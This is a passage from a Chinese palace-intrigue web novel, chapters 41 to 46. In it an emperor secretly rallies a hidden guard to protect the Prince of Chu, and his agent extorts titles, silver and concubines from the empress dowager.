他一手提着灯,另一只手始终紧紧攥着徐妍的手腕。 徐妍的心提到了嗓子眼,每一步都走得小心翼翼,生怕踩空或是碰到什么可怕的东西。 第41章 拜见吾皇 黑暗中,人的听觉开始变得异常敏锐。 徐妍几乎能清晰地听到自己急促的心跳声,听到两人踩在湿滑石阶上发出的轻微脚步声。 还有……郑遂近在咫尺的、沉稳的呼吸。 密道蜿蜒曲折,时而向下倾斜,时而平缓。 空间亦是忽宽忽窄,有时需要侧身才能通过。 复又到了一处极其狭窄的隘口,两人几乎是紧贴着身体挤过去。 “啊!” 尽管徐妍已经足够小心,却还是不小心绊了一下。 徐妍低呼一声,脚下一滑,身体不由自主地向后倒去。 “小心!”郑遂反应极快,手臂用力一揽,将她整个人紧紧地箍进了自己怀里。 徐妍的后背紧贴着郑遂坚实滚烫的胸膛,隔着薄薄的衣衫,她能清晰地感受到他强健的心跳和灼热的体温。 郑遂的气息瞬间将她包裹,带着龙涎香的清冽和男性的侵略感。 徐妍的脸颊瞬间烧得通红,身体僵硬,一动不敢动。 黑暗中,感官的刺激被无限放大。 郑遂温热的呼吸喷洒在她的颈侧和耳畔,带来一阵阵令人心悸的酥麻。 郑遂似乎并未立刻放手,反而借着扶稳她的姿势,将她更紧地按在自己怀里,下巴若有若无地蹭过她的发顶。 声音低沉的道:“妍儿别怕,有朕在。” 在这种极度令人恐慌的环境下,我正髓的声音仿佛带着电流,瞬间窜入徐妍的四肢百骸。 狭窄的空间,黑暗的环境,紧贴的身体,灼热的体温,暧昧的低语…… 徐妍只觉得心跳如擂鼓,呼吸都变得困难起来,一股难以言喻的悸动和慌乱席卷了她。 她想要挣脱,却又不敢,只能僵硬地依靠在郑遂怀中,感受着这黑暗中无处不在的、令人窒息的暧昧摩擦。 郑遂感受着怀中身体的僵硬和微微颤抖,黑暗中的嘴角勾起一抹冰冷的弧度。 他没有松开,反而将风灯稍稍移开,让黑暗更浓地包裹住两人,然后低下头,在徐妍光洁的额头上印下了一个滚烫而霸道的吻。 “走吧,妍儿,咱们的路还长着呢。” 郑遂一语双关的道。 随后搂着她腰肢的手滑下,改为紧紧握住她的手,十指相扣,牵引着她,继续向深不见底的黑暗深处走去。 不知走了多久,脚下的石阶似乎开始向上倾斜。 又向前一段路后,前方终于不再是深邃的黑暗,而是出现了一堵粗糙的石壁。 郑遂停下脚步,仔细对照地图,然后在石壁边缘摸索片刻,用力按下几块看似寻常的凸起石块。 咔哒……隆隆…… 一阵比入口处更为沉重的机括声响起,面前的石壁缓缓向一侧滑开。 刺目的光线骤然涌入,习惯了黑暗的徐妍下意识地闭紧了眼睛,抬手遮挡。 带着寒意的空气扑面而来,瞬间驱散了密道里的霉味,也让徐妍混沌的头脑为之一清。 待她适应了光线,睁开眼,发现自己正站在一个低矮的山洞口。 洞口被茂密的藤蔓和枯枝遮掩了大半,外面似乎是一片稀疏的林地。 郑遂率先拨开藤蔓钻了出去,徐妍紧随其后。 眼前豁然开朗。 他们已身处皇城之外,位于一座不高的小山丘脚下。 前方不远处,依稀有低矮的农舍轮廓,几缕炊烟在黄昏灰蓝的天空中袅袅升起,显得格外宁静。 可二人却都察觉到,在这宁静之中,却透着一股难以言喻的肃杀。 “果然别有洞天。”郑遂嘴角勾起一丝了然的笑意,低声自语。 他眼中没有丝毫初到陌生之地的迷茫,反而充满了掌控一切的笃定。 郑遂没有贸然上前,而是对身后跟着的心腹内侍使了个眼色。 那内侍会意,深吸一口气,整了整衣袍,大步流星地走向庄子中间那栋看起来稍大一些、像是主屋的农舍。 笃、笃、笃。 内侍抬手,不轻不重地叩了三下门环。 叩门声在寂静的傍晚显得格外清晰,甚至带着回音。 门内瞬间传来一阵极其轻微的骚动,像是有人迅速移动。 紧接着,门吱呀一声开了一条缝,露出一双警惕而的眼睛,飞快地扫视着门外的内侍,以及他身后不远处的郑遂和徐妍。 “找谁?”门内传来一个低沉沙哑的声音。 内侍按照郑遂事先的交代,沉声开口,声音不高却字字清晰:“山雨欲来风满楼。” 门内沉默了一瞬。那双眼睛中的警惕丝毫未减,反而更深了,他似乎在仔细打量内侍,然后目光越过他,再次投向郑遂。 郑遂负手而立,身姿挺拔,玄色劲装在暮色中更显深沉,即使不言不语,那份久居人上的气度也难以掩盖。 门内人犹豫了一下,试探着说出下半句:“……城头变幻大王旗?” 内侍微微颔首,接着道:“旧时王谢堂前燕。” 门内人眼中精光一闪,这句暗语的后半句,知道的人极少! 他紧紧盯着内侍:“……飞入寻常百姓家?” 暗语对上! 门内人的呼吸似乎急促了一瞬,他猛地将门拉开了一些,但身体依旧堵在门口,目光如电般射向郑遂,带着审视和难以置信的猜测。 声音压得更低,带着一丝不易察觉的颤抖:“阁下究竟何人?信物可在?!” 郑遂没有回答,他缓缓上前几步,走到门前,迎着那人锐利审视的目光,伸手入怀。 当他的手从怀中拿出时,掌心赫然托着那枚虎符。 当虎符出现在暮色中时,门内那人的瞳孔骤然收缩。 他死死盯着虎符上那独一无二的图案,脸上的戒备瞬间化为极度的震惊。 他身后的阴影里,也传出几声压抑的抽气声。 下一刻,堵在门口的那人猛地推开半掩的门,身体如同标枪般挺直,哗啦一声重重跪倒在地。 身后的黑暗中也迅速闪出几条同样精悍的身影,动作整齐划一,齐刷刷地跪倒在郑遂面前。 “卑职叩见吾皇万岁!万岁!万万岁!” 第42章 只需护住楚王 农舍之内,昏黄的油灯里火光微微摇晃。 几张粗木方桌拼在一起,上面铺着绘制精细的军事舆图。 数名身着粗布短打却难掩精悍之气的汉子围坐,皆是面庞冷硬。 可在郑遂踏入的瞬间,目光中便满是深深的敬畏。 为首一个身材魁梧,脸上有道陈年刀疤自左额斜划至颧骨的汉子率先起身,跪地拜伏。 其余人紧随其后,动作整齐划一,带起一阵低沉的风声。 “吾皇万岁!” “平身。” 郑遂径直走到主位,从容坐下。 徐妍垂首侍立在他身后,大气也不敢出。 来了才知道后悔。 因为这根本不是普通的禁军,他们个个儿身上都充满煞气,说是从地狱中爬上来的恶鬼也不足为过。 偏偏这些人都忠心不二!这才是最玄妙之处! 刚才带头行礼罗英起身,目光扫过郑遂身后的徐妍,不禁带上了一丝探究。 但郑遂面色如常,很快便收敛,沉声问道:“陛下深夜亲临,以虎符相召,必有惊天大事,可是为了徐贼?” 徐贼众多,但他所指自然是徐敬意。 徐敬意在云州的所作所为,虽未完全传开,但作为皇帝最后的一道防线,他们自有渠道知晓一二。 再加一个之前他的所作所为…… 罗英思及此处,眼中立刻闪过一丝厉色,显然对徐敬意的跋扈深恶痛绝。 郑遂却缓缓摇头,声音平静无波:“非也。” 罗英一愣,与旁边一位副手对视一眼,均看到对方眼中的疑惑。 不是为了权倾朝野、欺压宗室的徐敬意?那还能为何? 副手上前一步,恭敬问道:“陛下莫非是为了……后宫那位?” 皇帝与太后的明争暗斗,在这权力的漩涡中心并非秘密。 或许她才是郑遂的心头大患! 郑遂却再次摇头,唇角勾起一丝难以捉摸的弧度:“亦非。” 这下,屋内的几位首领都有些懵了。 不是为了铲除首恶徐敬意,也不是为了压制掣肘的太后?难道…… 罗英眉头紧锁,第三次试探:“陛下,莫非是秦王?京畿之外,秦王拥兵自重,虽有所镇压但仍屡有异动?陛下可是要我等秘密调兵,防范或……镇压?” 若说除了内贼,皇帝最该防备谁,秦王首当其冲。 然而郑遂依旧摇头,甚至轻轻嗤笑一声:“秦王?跳梁小丑,不足为虑。” 连续三次猜测都被否定,几位禁军首领彻底陷入了困惑之中。 他们互相对视,眼神交流间满是惊疑。 皇帝想要动用他们,冒着暴露的风险亲至,竟不是为了铲除权奸? 那究竟是为了什么惊天动地的大事? 难道还有比这些更迫在眉睫的威胁? 屋内只剩下油灯灯芯燃烧的噼啪声和众人压抑的呼吸声。 郑遂的目光缓缓扫过众人,将他们脸上的困惑尽收眼底。 他并不急于解释,这种掌控节奏、让所有人猜不透的感觉,正是他想要的。 片刻后,他才终于开口。 “朕此来,只为一人,便是楚王郑琮。” “楚王?!” “云州的楚王殿下?” “这……” 惊呼声几乎同时响起。 罗英等人脸上写满了难以置信。 楚王?那个在皇帝所有兄弟手足中,以懦弱多病,安分守己著称,几乎毫无存在感的藩王? 他都已经被徐敬意在封地肆意折辱,几乎逼死,早就是个废物了! 可陛下深夜冒险出宫,动用虎符秘召他们,竟是为了保住楚王? 这简直比刚才所有的猜测都更匪夷所思! “陛下!楚王他……莫非有不臣之心?”罗英忍不住追问。 他实在无法理解,一个被权臣踩在脚下,病入膏肓的藩王,有什么值得皇帝如此大费周章的? 除非……楚王一直在伪装? 郑遂微微一笑:“缘由,莫问。” 他目光落向众人:“朕只问尔等一句,倾尽全力,保住楚王性命,使其不受刀兵加身,不受毒药暗害,安稳活到朕需要他活到的时候,可行?此事若成,尔等及其麾下,性命无忧,富贵可期。若败……” 郑遂没有说下去,但冰未尽的话语比任何威胁都更有力。 保住楚王?仅仅是保住他的命? 这任务听起来似乎不难,但结合楚王眼下的处境和皇帝如此神秘郑重的态度,其中蕴含的深意,却让久经沙场的罗英等人也感到一阵心悸。 他们是皇帝的私兵,是只认虎符不认人的利刃。 但虎符在皇帝手中,皇帝的命令就是他们的天职。 短暂的震惊之后,忠诚迅速压倒了疑惑。 罗英深吸一口气,再次跪地,右手重重捶在左胸。 “虎符所指,吾等兵锋所向!陛下旨意,罗英万死不辞!定保楚王殿下周全!” “万死不辞!保楚王周全!”其余几名首领也齐刷刷跪倒,誓言如铁。 郑遂看着眼前俯首听命的精锐,眼中终于流露出一丝真正的满意。 他微微颔首:“甚好。” 随即站起身,留下一句:“记住你们的承诺。日后若有旨意,朕自会通知你们。” 此地不宜久留。 他转身,示意徐妍跟上,径直向门外走去。 罗英等人连忙起身相送,直至郑遂和徐妍的身影消失在农舍外通往密道入口的黑暗中,才重新回到屋内。 他们面面相觑,脸上依旧残留着浓重的困惑。 “统领……这……”副手忍不住开口。 罗英抬手制止了他,眼神凝重地望向郑遂消失的方向:“圣心难测……我等只需记住,虎符在手,陛下之令便是天条。无论为何,保住楚王!” “遵命!” 密道内,依旧是一片令人窒息的黑暗和潮湿。 琉璃风灯昏黄的光晕在凹凸不平的石壁上跳跃,映照出两人扭曲的影子。 徐妍紧跟在郑遂身后,手仍被他紧紧握着,掌心却一片冰凉。 方才农舍中的一幕幕在她脑海中反复翻腾。 楚王郑琮? 那个在所有传闻中都不成气候的病秧子,皇帝为何要如此大费周章地保他? 他就不怕暴露这支禁军的存在? 第43章 谁也靠不住了 难道楚王身上藏着什么惊天秘密? 或者……皇帝对这位看似无害的兄弟,有着外人无法理解的复杂情感? 好奇心如同藤蔓般缠绕着她的心。 终于,在压抑的沉默中行走了约莫一刻钟后,徐妍鼓足了勇气,轻声问道:“陛下,奴婢斗胆……楚王殿下他为何……” 她的话还未完全问出口,前方郑遂的脚步倏然停住。 密道狭窄,徐妍猝不及防,几乎撞上他的后背。 她惊惶地抬头,只见郑遂缓缓转过身。 风灯的光线自下而上映照着他的脸,半明半暗。 那双深邃的眼眸毫无温度地落在徐妍脸上。 没有想象中的斥责,郑遂只是静静地看着她,那目光却比任何言语都更具压迫感。 郑遂慢慢抬起手,冰冷的指尖轻轻拂过徐妍微微发凉的脸颊。 动作看似温柔,却带着一种令人毛骨悚然的掌控感。 “妍儿,做朕的女人,要学会……多听,少问。” 郑遂的指尖停留在徐妍的下颌,微微用力抬起她的脸,迫使她直视自己的双眸。 “不该你知道的,知道得越多,死得……越快。懂吗?” “懂、懂了!奴婢懂了!”徐妍连忙垂下眼帘,不敢再看郑遂的眼睛。 郑遂盯着她看了几秒,仿佛在确认她眼中的恐惧是否足够真实。 片刻后,他才收回了手,那股令人窒息的压迫感也随之散去,仿佛刚才的一切只是错觉。 郑遂转过身,语气恢复了平静,甚至带着一丝若有若无的安抚。 “记住就好。跟着朕,你只需看,只需听,只需服从。朕给你的,自然会给你。走吧。” 徐妍却如同刚从冰水中捞出来,后背已被冷汗浸透。 她紧紧咬住下唇,将所有的疑问和恐惧都死死压在心底,再不敢流露分毫。 皇后的尊位固然诱人,但前提是…… 她得有命去坐! 寿康宫。 夜色已深,宫灯摇曳。 徐妙晴高坐凤榻之上,保养得宜的脸上此刻却笼罩着一层灰败。 下方,江如松正垂首肃立,语调沉痛,将徐敬意在云州的“壮举”添油加醋地描绘着。 “徐相抵达云州当日,便以雷霆手段震慑全场!宴席之上,冯骥老大人仗义执言,竟被徐相亲卫当庭拖走,生死不明!更有数名冥顽不灵的老臣,不识时务,当众拂袖而去,简直视朝廷法度、视丞相威严如无物!” “然徐相宽宏,本不欲深究。岂料次日巡视,又有两名不知死活的御史,竟敢当众咆哮,污蔑丞相挟天子以令诸侯,折辱宗室,狼子野心!言辞之恶毒,闻所未闻!徐相忍无可忍,为维护朝廷纲纪、宗室尊严,不得不行雷霆手段,将此二獠就地正法!以野马拖曳,弃之荒野,以儆效尤!” 江如松的声音抑扬顿挫,将徐敬意的跋扈渲染得淋漓尽致,却巧妙地将冯骥等人被秘密救走的真相完全隐去。 反话说到这个份儿上,就不信吓不死这娘们! “楚王殿下本就体弱,受此惊吓,又见臣下如此狂悖无礼,忧愤交加之下,竟当场昏厥!据云州密报,王爷……只怕已是油尽灯枯,就在这几日了……”江如松的声音适时地带上了沉痛。 “什么?!”徐妙晴猛地站起身,凤眸圆睁,失声惊呼。 “油尽灯枯?就在这几日?徐敬意他……他怎敢如此逼迫宗室亲王?!他眼里还有没有王法!有没有哀家这个太后!” “娘娘息怒!”江如松连忙躬身,“徐相……徐相估计也是被逼无奈,毕竟那些保皇派一向狡猾,此举实非徐相所愿。” “不是所愿?” 好一个不是所愿! 徐妙晴气得浑身发抖,指着江如松。 “他分明是借机铲除异己!折辱宗室以立威!楚王若真有个三长两短,天下人会如何看哀家?如何看我徐家?!他这是要把哀家架在火上烤啊!” 她来回踱步,华丽的宫装裙摆在地上拖曳? “还有那些保皇党!那些老臣!都是朝廷柱石!本该是……本该是哀家日后重掌朝政的依仗!如今倒好,被徐敬意杀的杀,逐的逐!” 剩下的…… 剩下的恐怕也被他威逼利诱,尽数收服了! 江如松恰到好处地补充道:“娘娘明鉴。据报,经此一事,确实已有数位原本立场摇摆的老臣,慑于徐相之威,已然表示愿意追随徐相了。” “废物!一群没骨头的废物!”徐妙晴怒骂? 她痛恨徐敬意的狠辣,更痛恨那些“投诚”大臣的软弱。 但内心深处,一股更深的恐惧正在蔓延? 她苦心经营,试图在皇帝和徐敬意之间维持平衡,更想利用保皇党作为自己日后的筹码。 可徐敬意的疯狂举动,却将她的所有布局砸得粉碎! 楚王若死,徐敬意势力更盛,而原本可能成为她助力的保皇党力量也土崩瓦解…… 她这个太后,还剩下什么? 她猛地停下脚步,眼神锐利地盯向江如松:“皇帝呢?皇帝就任由徐敬意如此胡作非为?他派徐敬意去云州,难道就没料到会有今日吗?!” 徐妙晴心中已然对郑遂涌起了强烈的怨恨。 郑遂的“不作为”和“纵容”,才是导致这一切的根源。 是他打破了平衡,将猛虎放出了牢笼! 江如松一脸无奈:“陛下深居宫中,终究是拿徐相没办法的。” “没办法?”徐妙晴发出一声冷笑。 好好好,亏她之前还觉得郑遂变了,现在才发现也不过就是个有几分小聪明却很快就暴露了的草包! “他这是引狼入室,自毁长城!他郑遂……他眼里还有没有哀家!哀家指望他,是指望不上了!” 不是徐妙晴自怨自艾,是残酷的事实就清晰地摆在眼前。 在徐敬意掀起的这场滔天巨浪中,皇帝郑遂,不仅不是她的盟友,反而间接推动了这一切! 他已经不可靠了!她只能靠自己! 江如松低着头,嘴角勾起一丝微不可察的笑意。 旋即隐去,只剩下满脸的沉重:“娘娘……保重凤体啊。如今局势,确实危如累卵,您若不保重……” 第44章 徐敬若你放肆 徐妙晴颓然坐回凤榻。 巨大的危机感和孤立无援的绝望将她紧紧包裹。 她需要力量!需要能对抗徐敬意、甚至能在必要时刻反制皇帝的力量! 说起来,如今唯一的希望,也只剩下那枚虎符所能调动的禁军她! 必须尽快找到那支禁军! 这个念头一起,就无法压制了。 然而她一个深宫妇人,手中无兵无将,连心腹都少得可怜,空有虎符又如何? 她去寻找一支连皇帝都未必完全掌控的禁军! 徐妙晴的目光在殿内焦急地扫视,最终定格在虚空中的某一点。 一个她极度厌恶却又不得不考虑的人影在此刻清晰地浮现出来。 徐妙晴不情愿,可似乎也只有他竟。 次日午后,寿康宫偏殿。 徐妙晴端坐主位,努力维持着太后的威仪。 殿门开启,徐敬若一身簇新的锦袍,昂首阔步走了进来。 他脸上带着毫不掩饰的得意,目光放肆地在殿内陈设上扫过,最后才落到徐妙晴身上。 草草一揖:“草民徐敬若,参见太后娘娘。” 他礼数敷衍,毫无敬意。 偏偏徐妙晴不能发火! “兄长不必多礼,赐座。”徐妙晴强压着心中的厌恶,尽量让声音显得平和一些。 徐敬若大剌剌地坐下,翘起二郎腿,开门见山的问:“不知太后娘娘急召臣入宫,所为何事?” 徐妙晴深吸一口气。 “兄长明鉴。徐敬意在云州所为,实在太过!折辱宗室,擅杀大臣,威逼利诱,收服人心……他这是要干什么?他眼里可还有朝廷法度?可还有哀家这个太后?可还有我们徐家的列祖列宗?!” 徐妙晴越说越激动,心中带上了一丝除了演戏以外真切的愤怒,声音也高了起来。 “他如今权势熏天,行事肆无忌惮,长此以往,必遭反噬!届时,我徐家满门,都要被他连累,陷入万劫不复之地啊!哀家每每思及,都寝食难安!” 徐敬若听着,脸上露出深以为然的表情。 拍着大腿道:“娘娘说得太对了!徐敬意他这是自取灭亡!他以为他是谁?不过仗着陛下一时宠信,就敢如此嚣张跋扈,连楚王都不放在眼里!他这是要拖着我们整个徐家给他陪葬!” 徐妙晴见火候差不多了,话锋一转,语气变得无比诚恳。 “兄长,值此家族危难之际,哀家思来想去,能真正为家族着想、能力挽狂澜的,唯有兄长了!徐敬意刚愎自用,早已不将家族利益放在心上。哀家虽是太后,但深居宫中,诸多掣肘。唯有兄长你,见识广博,胆识过人,才是我徐家真正的顶梁柱啊!” 这顶高帽子戴下来,徐敬若的虚荣心得到了极大的满足。 他挺直了腰板,故作矜持地捋了捋并不存在的胡须。 “娘娘过誉了,为家族分忧,本是敬若分内之事。只是……” 他话锋一转,眼中狡黠贪婪的光芒一闪而过。 “徐敬意树大根深,党羽众多,想要制衡他,乃至保全家族,非有雷霆手段和雄厚根基不可。娘娘既然看得起敬若,那有些话,敬若就不得不说了。” 来了!徐妙晴心中一紧,知道真正的大戏要开始了。 强笑道:“兄长但说无妨。” “好!有娘娘这句话,敬若就放心了!”徐敬若身体前倾,伸出三根手指,如同在菜市场讨价还价。 “第一,我要娘娘手书懿旨,加封我为太子太保,赐穿蟒袍,享亲王仪仗!名不正则言不顺,没有足够的身份地位,如何在朝堂上压过徐敬意的风头?” 太子太保? 蟒袍? 亲王仪仗? 徐妙晴倒吸一口凉气。 太子太保是虚衔,但地位尊崇。 赐穿蟒袍已是超品恩荣。 亲王仪仗更是僭越! 这徐敬若的胃口,简直大得没边! 关键是郑遂哪有孩子?! 徐敬若这一出,不是等同于昭告天下,更是告诉徐敬意,她已经叛变了吗? 徐妙晴强忍着怒气才没直接开口骂娘:“兄长,这、这未免……” “娘娘!”徐敬若打断她,皮笑肉不笑地说,“非常之时,当行非常之事。没有足够的名分和排场,如何震慑朝野?如何让那些墙头草知道,除了徐敬意,徐家还有我徐敬若这根擎天之柱?” 徐妙晴看着他贪婪的嘴脸,指甲几乎掐进掌心。 可箭在弦上不得不发。 自己早晚是要与徐敬意撕破脸的。 沉默片刻,只得咬牙道:“好!哀家答应你!懿旨……哀家稍后便写!” 徐敬若满意地笑了,伸出第二根手指。 “第二,我要娘娘动用内帑,拨银三百万两!另赐京郊皇庄三处,良田万亩!娘娘莫惊,这钱不是给我个人花的。徐敬意经营多年,党羽遍布朝野地方,收买人心、安插眼线、培植势力,哪一样不需要金山银海堆出来?没有钱,我拿什么跟他斗?” 这简直是狮子大开口! 徐妙晴只觉得眼前发黑,气得声音发颤:“兄长!这数目……” “娘娘!”徐敬若的声音冷了下来,带着赤裸裸的威胁。 “舍不得孩子套不着狼!徐敬意每年贪墨的,又何止这个数?您若心疼这点银子,那干脆就等着徐敬意把咱们徐家拖进深渊好了!到时候,别说银子,命都没了!” 徐妙晴已然气的胸口剧烈起伏,脸色煞白。 她死死盯着徐敬若,仿佛要将他生吞活剥。 良久,她从牙缝里挤出两个字:“……依你!” “痛快!”徐敬若抚掌大笑,随即伸出第三根手指。 “这第三嘛……听闻宫中尚仪局新进了一批调教好的扬州瘦马,个个色艺双绝,尤善侍奉之道。娘娘身边想必也用不了这许多。请娘娘挑选其中最出色的十二名,赐予草民。” 这一来,可助他应酬结交,笼络人心。 二来嘛…… 他奔波劳碌,身边也需些解语花慰藉身心。 这第三条,彻底点燃了徐妙晴的怒火。 这简直是对她太后尊严的极致羞辱! 身为女子,却让她主动送女人给这个卑贱的庶兄玩乐? “徐敬若!你……你放肆!”徐妙晴再也忍不住,拍案而起。 第45章 没有别的选择了 他把自己当什么? 青楼里的老鸨还是龟公? “你竟敢如此……你竟敢用如此秽言污耳折辱于哀家!” 徐妙晴气的几乎要炸了。 “索要官爵仪仗,哀家允了!张口便要百万金银、万亩皇庄,哀家……也忍了!如今竟敢将主意打到宫中女眷头上?!徐敬若,你的狗胆是让猪油蒙了?还是你瞎了眼睛不知道那是皇帝的女人!” 再怎么私下合作,可和皇帝的交易也不能现在就断! 至少不能是现在! 否则四面楚歌!再无生路! 徐妙晴已然气得浑身发抖,指着徐敬若的手指都在剧烈颤抖。 她从未受过如此奇耻大辱! 即便是与郑遂对峙,与徐敬意周旋,也从未有人敢如此赤裸裸地践踏她的尊严! 这个市井泼皮出身的庶兄,一朝得势,竟比徐敬意更让她感到恶心! 徐敬若显然没料到徐妙晴的反应会如此激烈,霎时间被这突如其来的雷霆之怒震得一愣,脸上那副志在必得的神情也瞬间僵住,下意识地缩了缩脖子。 但旋即,长期被徐家嫡系压制而生出的怨毒涌了上来。 他脸上的肌肉抽搐了几下,眼神也阴沉下来。 放在往常,徐敬若或许还会有几分畏惧,面上之前也愿意装上一装。 可如今自己可是有正统皇帝撑腰,她徐妙晴更是走投无路才加以拉拢。 她凭什么敢对自己颐指气使! 当下并未起身,反而向后靠了靠,翘着的二郎腿甚至更用力地晃了晃。 她不是瞧不上自己这种商贾吗? 她不是觉得庶出身份上不得台面吗? 那他今天还就要当个泼皮无赖了! “哟?太后娘娘这是怎么了?发这么大的火气?” 徐敬若刻意的拖长了调子,满面的讥讽,甚至更加放肆的把目光落在徐妙晴起伏的胸口上。 “草民不过是要几个女人罢了,又不是要娘娘您亲自去侍奉谁,何必如此动怒,失了太后的体统?伤了您这金尊玉贵的凤体,草民可担待不起啊。” “你!”徐妙晴被他这混账话噎得眼前发黑,一口气差点没上来。 她扶住身边的凤榻扶手才勉强站稳,良久也不曾能开口一句。 徐敬若见她气极,心中反而升起一丝变态的快意。 他慢悠悠地端起旁边小几上早已冷掉的茶,呷了一口,咂咂嘴,仿佛在品评滋味,更像是在咂摸着美人滋味。 在徐妙晴表情越来越难看,几乎要绷不住时,他才放下茶盏,脸上重新挂起那种皮笑肉不笑的神情。 “娘娘,您贵为太后,母仪天下,自然是要脸的。可这脸面它能当饭吃?能当刀枪使?能挡得住徐敬意那老匹夫步步紧逼的屠刀吗?” 徐敬若微微一笑,摊开手坦然道。 “您方才也说了徐敬意在云州干了什么,折辱宗室,擅杀大臣啊!楚王都快被他逼死了!所以下一步呢?等他彻底掌控朝野,手握重兵,回京之日,您觉得他眼里还有您这位太后吗?您觉得他还会给您留半分体面吗?” 到时候,别说几个瘦马,只怕这寿康宫他徐敬意也是想进就进,想出就出! 这所谓太后……呵呵,怕是连个摆设都不如了!” “徐敬若!你给哀家住口!”徐妙晴厉声尖叫。 可声音中的恐惧却是无论如何也压抑不住。 那徐敬若描绘的场景,不正是她内心深处最深的梦魇? “住口?”徐敬若嗤笑一声。 “我住口容易!可娘娘您能堵得住徐敬意的嘴?挡得住他的刀吗?您现在除了我徐敬若,还能指望谁?指望那个躲在深宫,任由徐敬意胡作非为,说不定还乐见其成的皇帝吗?!” 徐敬若言罢猛地站起身,逼近一步。 “我徐敬若是粗鄙,是贪婪。可娘娘您别忘了,我要的这些,是为了什么?” 那是为了去跟徐敬意那老贼斗! 是为了替她徐妙晴争一条活路! 没有官爵名分,如何立威? 没有金银田产,如何养兵买马、收买人心? 没有这些女人,如何结交权贵? 难道靠徐妙晴这空口白牙的懿旨吗?! 徐敬若紧盯着徐妙晴煞白如纸的脸,一字一顿的道。 “您想要我这条恶犬去咬人,却连根带肉的骨头都舍不得扔?天下哪有这样的道理!娘娘,您得想清楚!现在不是我徐敬若在求您,是您在求我!求我这条您看不起的野狗,去替您咬那另一条更想撕碎您的恶狼!” “要么,答应我的条件,咱们联手,搏一条生路!要么……” 徐敬若咧开嘴,露出一个森然的笑容,缓缓后退一步,摊了摊手。 “您就继续端着您这太后的架子,等着徐敬意回京,把您像楚王一样,踩进泥里!到时候,别说几个瘦马,您连自己的命,都得看人家心情赏不赏!” 空气已然凝固了。 徐妙晴恍惚的立在原地。 是啊……她还有什么选择? 皇帝靠不住,保皇党土崩瓦解,徐敬意步步紧逼…… 徐敬若,这个她厌恶至极的庶兄,竟真的成了她眼前唯一一根能抓住的稻草! 不答应他? 他立刻就会倒向徐敬意,或者袖手旁观,甚至落井下石! 那她徐妙晴,就真的成了砧板上的鱼肉,只能等待徐敬意回京后的宰割? 可答应他,便是将自己最后的尊严,连同这太后的身份,一同扔进这泥潭里,任由这个无耻之徒践踏勒索! 屈辱的泪水在徐妙晴眼眶中疯狂打转,却被她死死忍住。 她不能哭,尤其是在这个畜生面前! 良久,徐妙晴才动作僵硬得坐回凤椅上。 “……依……你。” 徐敬若变脸如翻书,面上凶狠瞬间褪去。 成了! 他强压住想要狂笑的冲动,故作姿态地整理了一下衣袍,重新换上那副虚伪的恭敬。 深深一揖,声音洪亮。 “太后娘娘深明大义!敬若……定不负娘娘重托!为娘娘,为我徐家,赴汤蹈火,在所不辞!” 他抬起头,眼中满是迫不及待。 “那……娘娘您看,是不是……” 第46章 你这是背叛朕 徐敬若搓了搓手,意思再明显不过。 承诺得立刻兑现! 徐妙晴猛地睁开眼,没说话,只是极其缓慢的点了一下头。 “谢娘娘恩典!”徐敬若脸上的狂喜再也掩饰不住。 “娘娘放心,敬若这就去为娘娘奔走!定叫那徐敬意好看!” 徐敬若再次敷衍地行了个礼,几乎是迫不及待地转身,大步流星地离开了寿康宫偏殿。 御书房内,灯火通明。 郑遂尚且未眠,便听王喜来报,说徐敬若那边一切妥当。 郑遂忽的一笑:“传!” 徐敬若脸上堆满了谄媚至极的笑容,进来便高声道。 “陛下!大喜!大喜啊陛下!” 郑遂眼皮都懒得抬一下,只淡淡“嗯”了一声。 “成了!陛下!那老……咳,太后娘娘她,她答应了!全都答应了!” 徐敬若激动得唾沫横飞,手舞足蹈地将寿康宫内徐妙晴如何被他逼得走投无路,最终屈辱应下所有条件的场景添油加醋地描述了一番。 尤其还着重渲染了自己如何据理力争、智勇双全地为陛下争取到了这关键一步。 “她徐妙晴,全都点头了!哈哈哈!”徐敬若狂笑不止,甚是得意。 郑遂终于抬眼,目光落在徐敬若脸上,唇角勾起一丝难以捉摸的弧度。 微微颔首道:“好,很好。徐卿果然深谙人心,手段了得。此事,你办得极好。” 徐敬若被郑遂夸得骨头都轻了三两,连忙磕头:“为陛下分忧,是草民……不,是臣的本分!本分!臣肝脑涂地,在所不辞!” “嗯。”郑遂微微颔首。 “太后既已应允,你便静候佳音吧。该给你的,一样都不会少。下去吧。” “是!是!谢陛下隆恩!臣告退!”徐敬若又重重磕了个头,这才心满意足地退了出去。 门关上,郑遂脸上的那点赞许瞬间消失无踪。 他对着屏风后的徐妍轻声道:“看见了吗?贪婪,就是最好的鞭子。” 随后缓缓起身,走向早已备好热水的后殿。 “来吧,一起……” 很快,一道来自寿康宫的懿旨就点燃了因为保皇党一派的离开而死寂的朝堂。 旨意洋洋洒洒,盛赞“义商”徐敬若于社稷危难之际,毁家纾难,救济国用,其忠义之心,感天动地。 故特加恩旨: 敕封徐敬若为太子太保,赐穿四爪蟒袍,享亲王仪仗出入,另赐内帑白银三百万两,京郊皇庄三处,良田万亩,以彰其功! 旨意一出,举朝哗然! 这简直是滑天下之大稽! 一个无名商贾,何德何能? 这已非僭越,简直是赤裸裸地践踏礼法,视朝廷名器如粪土! 更别提那三百万两白银和庞大的田产赏赐,几乎掏空了小半个内帑! 徐太后这是疯了吗? 就在满朝文武惊疑不定、议论纷纷之际,一道明黄色的身影带着雷霆之怒,直扑寿康宫。 “砰!” 寿康宫紧闭的殿门被郑遂一脚踹开,巨大的声响震得殿内侍立的宫女太监们魂飞魄散,噗通跪了一地。 郑遂脸色铁青,指着高坐凤榻故作镇定的徐妙晴怒道。 “母后!你……你好糊涂!好狠毒!” 徐妙晴放下茶盏,抬起眼皮,冷冷地看着他。 “皇帝何出此言?哀家嘉奖义士,为国分忧,有何不妥?” “义士?徐敬若?!”郑遂像是听到了天大的笑话。 “儿臣虽向母后引荐徐敬若,可也并未封赏。他算个什么东西?市井泼皮!贪婪小人!母后你封他太子太保?赐他蟒袍仪仗?!你置祖宗礼法于何地?置朕这个皇帝于何地?!还有那些钱财田地,母后到底动用的也不是自己的私库,而是国库!你问过朕了吗?!” 他步步紧逼,痛心疾首的质问。 “母后!朕待你至孝!你竟如此回报于朕?你与那徐敬若私下勾连,是要做什么?难道母后这么急着架空朕吗?你这是在背叛朕!背叛我们之间的约定!” “约定?”徐妙晴终于忍不住冷笑出声。 强装的平静彻底碎裂,露出底下积压已久的怨气。 “皇帝,你还有脸提约定?” 徐妙晴站起身,居高临下地俯视着气急败坏的郑遂。 